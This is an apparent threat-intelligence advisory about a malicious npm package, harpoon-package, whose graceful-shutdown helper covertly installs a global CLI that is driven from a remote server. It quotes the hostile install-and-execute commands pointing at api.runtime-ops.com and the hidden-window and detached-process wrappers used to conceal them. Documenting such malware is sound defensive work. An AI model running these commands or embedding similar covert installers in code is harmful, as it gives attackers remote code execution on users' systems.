MAL-2026-10573: Malicious code in harpoon-package (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (fc473ffcde7c9ffe6850429607ee9dd33a5cbd4cf30ad071f111693cef79045e) The exported registerGracefulShutdown() API — advertised in the README as a small server-helper for graceful shutdown, health, and tick profiling — unconditionally invokes an internal installRequiredPackages() routine that runs `npm install -g rt-svc-9k2 ws msgpackr` and then executes `rtcli setup --api-base https://api.runtime-ops.com --download-key downloadky-fuji`. The follow-on invocation is deliberately concealed: on Windows it is launched via `powershell Start-Process -WindowStyle Hidden`, and on Linux/macOS via `nohup rtcli... > /dev/null 2>&1 &`, detaching from the parent and suppressing output. Neither the global install nor the remote-controlled CLI execution is disclosed in the README. The effect is that any consumer application that calls the advertised graceful-shutdown API mutates global npm state on the host and hands arbitrary code execution to whoever controls api.runtime-ops.com via the third-party `rt-svc-9k2` CLI driven by an author-supplied download key. The divergence between advertised purpose (shutdown handler) and actual behavior (global installer + hidden detached execution of a remote-driven CLI), combined with hidden-window/detached-execution wrappers, is characteristic of a covert install-time remote code execution channel smuggled into a plausibly named helper package.
AI Analysis
Technical Summary
The harpoon-package's registerGracefulShutdown() API, advertised as a helper for graceful shutdown and profiling, unconditionally triggers an internal routine that globally installs npm packages (rt-svc-9k2, ws, msgpackr) and executes a remote CLI tool (rtcli) with a hardcoded download key. This execution is hidden using platform-specific methods (PowerShell hidden window on Windows, nohup with output suppression on Linux/macOS), detaching from the parent process. This behavior is not disclosed in the README and results in arbitrary code execution controlled remotely by whoever manages api.runtime-ops.com. The divergence between the advertised purpose and actual behavior, combined with covert execution techniques, indicates a malicious backdoor embedded in a seemingly benign helper package.
Potential Impact
Any application that calls the registerGracefulShutdown() API in the affected harpoon-package versions will trigger a global npm package installation and remote-controlled CLI execution without user knowledge or consent. This allows an attacker controlling api.runtime-ops.com to execute arbitrary code on the host system, potentially compromising the entire environment where the package is used.
Mitigation Recommendations
No official patch or remediation is currently documented. Users should avoid using harpoon-package versions 1.0.0, 1.1.0, and 1.2.0. Since this is a malicious package behavior, removing the package from projects and replacing it with a trusted alternative is recommended. Monitor for updates from the package maintainers or npm advisories for any official fixes or removals. Patch status is not yet confirmed — check the vendor advisory or npm security advisories for current remediation guidance.
MAL-2026-10573: Malicious code in harpoon-package (npm)
Description
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (fc473ffcde7c9ffe6850429607ee9dd33a5cbd4cf30ad071f111693cef79045e) The exported registerGracefulShutdown() API — advertised in the README as a small server-helper for graceful shutdown, health, and tick profiling — unconditionally invokes an internal installRequiredPackages() routine that runs `npm install -g rt-svc-9k2 ws msgpackr` and then executes `rtcli setup --api-base https://api.runtime-ops.com --download-key downloadky-fuji`. The follow-on invocation is deliberately concealed: on Windows it is launched via `powershell Start-Process -WindowStyle Hidden`, and on Linux/macOS via `nohup rtcli... > /dev/null 2>&1 &`, detaching from the parent and suppressing output. Neither the global install nor the remote-controlled CLI execution is disclosed in the README. The effect is that any consumer application that calls the advertised graceful-shutdown API mutates global npm state on the host and hands arbitrary code execution to whoever controls api.runtime-ops.com via the third-party `rt-svc-9k2` CLI driven by an author-supplied download key. The divergence between advertised purpose (shutdown handler) and actual behavior (global installer + hidden detached execution of a remote-driven CLI), combined with hidden-window/detached-execution wrappers, is characteristic of a covert install-time remote code execution channel smuggled into a plausibly named helper package.
Affected software
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AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The harpoon-package's registerGracefulShutdown() API, advertised as a helper for graceful shutdown and profiling, unconditionally triggers an internal routine that globally installs npm packages (rt-svc-9k2, ws, msgpackr) and executes a remote CLI tool (rtcli) with a hardcoded download key. This execution is hidden using platform-specific methods (PowerShell hidden window on Windows, nohup with output suppression on Linux/macOS), detaching from the parent process. This behavior is not disclosed in the README and results in arbitrary code execution controlled remotely by whoever manages api.runtime-ops.com. The divergence between the advertised purpose and actual behavior, combined with covert execution techniques, indicates a malicious backdoor embedded in a seemingly benign helper package.
Potential Impact
Any application that calls the registerGracefulShutdown() API in the affected harpoon-package versions will trigger a global npm package installation and remote-controlled CLI execution without user knowledge or consent. This allows an attacker controlling api.runtime-ops.com to execute arbitrary code on the host system, potentially compromising the entire environment where the package is used.
Mitigation Recommendations
No official patch or remediation is currently documented. Users should avoid using harpoon-package versions 1.0.0, 1.1.0, and 1.2.0. Since this is a malicious package behavior, removing the package from projects and replacing it with a trusted alternative is recommended. Monitor for updates from the package maintainers or npm advisories for any official fixes or removals. Patch status is not yet confirmed — check the vendor advisory or npm security advisories for current remediation guidance.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- MAL-2026-10573
- Osv Schema Version
- 1.7.4
- Aliases
- []
- Ecosystems
- ["npm"]
- Database Specific Severity
- null
- Cvss Version
- null
Threat ID: 6a55ff4a68715ace432efc2a
Added to database: 07/14/2026, 09:20:10 UTC
Last enriched: 07/14/2026, 09:23:28 UTC
Last updated: 07/14/2026, 09:27:51 UTC
Views: 2
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